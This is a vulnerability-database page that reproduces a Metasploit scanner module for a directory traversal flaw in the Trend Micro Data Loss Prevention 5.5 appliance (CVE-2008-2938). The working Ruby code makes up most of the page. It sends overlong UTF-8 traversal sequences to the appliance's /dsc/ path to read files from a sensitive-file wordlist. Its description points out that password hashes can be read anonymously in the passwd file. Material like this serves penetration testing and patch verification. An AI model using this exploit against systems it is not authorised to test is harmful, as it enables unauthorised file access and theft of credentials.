TrendMicro Data Loss Prevention 5.5 Directory Traversal
🗓️ 09 Jan 2009 00:00:00Reported by aushack <[email protected]>Type
metasploit🔗 www.rapid7.com👁 89 Views
| Reporter | Title | Published | Views | Family All 118 |
|---|---|---|---|---|
| Apache Tomcat <= 6.0.18 UTF8 Directory Traversal Vulnerability | 11 Aug 200800:00 | – | zdt | |
| ToutVirtual VirtualIQ Pro 3.2 Multiple Vulnerabilities | 7 Nov 200900:00 | – | zdt | |
| Apache Tomcat 4.1.x < 4.1.38 / 5.5.x < 5.5.27 / 6.0.x < 6.0.18 Linking UTF-8 Traversal Arbitrary File Access | 12 Aug 200800:00 | – | nessus | |
| CentOS 5 : tomcat5 (CESA-2008:0648) | 6 Jan 201000:00 | – | nessus | |
| Fedora 9 : tomcat6-6.0.18-1.1.fc9 (2008-7977) | 12 Sep 200800:00 | – | nessus | |
| Fedora 9 : tomcat5-5.5.27-0jpp.2.fc9 (2008-8113) | 17 Sep 200800:00 | – | nessus | |
| Fedora 8 : tomcat5-5.5.27-0jpp.2.fc8 (2008-8130) | 17 Sep 200800:00 | – | nessus | |
| Mac OS X Multiple Vulnerabilities (Security Update 2008-007) | 10 Oct 200800:00 | – | nessus | |
| Mandriva Linux Security Advisory : tomcat5 (MDVSA-2008:188) | 23 Apr 200900:00 | – | nessus | |
| MiracleLinux 3 : tomcat5-5.5.23-0jpp.7.1.1AXS3 (AXSA:2008-90:02) | 14 Jan 202600:00 | – | nessus |
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'TrendMicro Data Loss Prevention 5.5 Directory Traversal',
'Description' => %q{
This module tests whether a directory traversal vulnerability is present
in Trend Micro DLP (Data Loss Prevention) Appliance v5.5 build <= 1294.
The vulnerability appears to be actually caused by the Tomcat UTF-8
bug which is implemented in module tomcat_utf8_traversal CVE 2008-2938.
This module simply tests for the same bug with Trend Micro specific settings.
Note that in the Trend Micro appliance, /etc/shadow is not used and therefore
password hashes are stored and anonymously accessible in the passwd file.
},
'References' => [
[ 'URL', 'http://tomcat.apache.org/' ],
[ 'OSVDB', '47464' ],
[ 'OSVDB', '73447' ],
[ 'CVE', '2008-2938' ],
[ 'URL', 'http://www.securityfocus.com/archive/1/499926' ],
[ 'EDB', '17388' ],
[ 'BID', '48225' ],
],
'Author' => [ 'aushack' ],
'License' => MSF_LICENSE,
'DisclosureDate' => '2009-01-09',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
register_options(
[
Opt::RPORT(8443),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptPath.new('SENSITIVE_FILES', [
true, 'File containing sensitive files, one per line',
File.join(Msf::Config.data_directory, 'wordlists', 'sensitive_files.txt')
]),
]
)
end
def extract_words(wordfile)
return [] unless wordfile && File.readable?(wordfile)
File.readlines(wordfile, chomp: true)
rescue ::StandardError => e
elog(e)
[]
end
def find_files(files)
traversal = '/%c0%ae%c0%ae'
res = send_request_raw(
{
'method' => 'GET',
'uri' => '/dsc/' + traversal * 10 + files # We know depth is 10
}, 25
)
if res && (res.code == 200)
print_status("Request may have succeeded on #{Rex::Socket.to_authority(rhost, rport)}:file->#{files}! Response: \r\n#{res.body}")
@files_found << files
elsif res && res.code
vprint_status("Attempt returned HTTP error #{res.code} on #{Rex::Socket.to_authority(rhost, rport)}:file->#{files}")
end
end
def run_host(_ip)
@files_found = []
print_status("Attempting to connect to #{Rex::Socket.to_authority(rhost, rport)}")
res = send_request_raw(
{
'method' => 'GET',
'uri' => '/dsc/'
}, 25
)
if res
extract_words(datastore['SENSITIVE_FILES']).each do |files|
find_files(files) unless files.empty?
end
end
if @files_found.empty?
print_error('No File(s) found')
return
end
print_good('File(s) found:')
@files_found.each do |f|
print_good(f)
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
vprint_error(e.message)
rescue ::Timeout::Error, ::Errno::EPIPE => e
vprint_error(e.message)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
09 Jan 2009 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 24.3
EPSS0.99708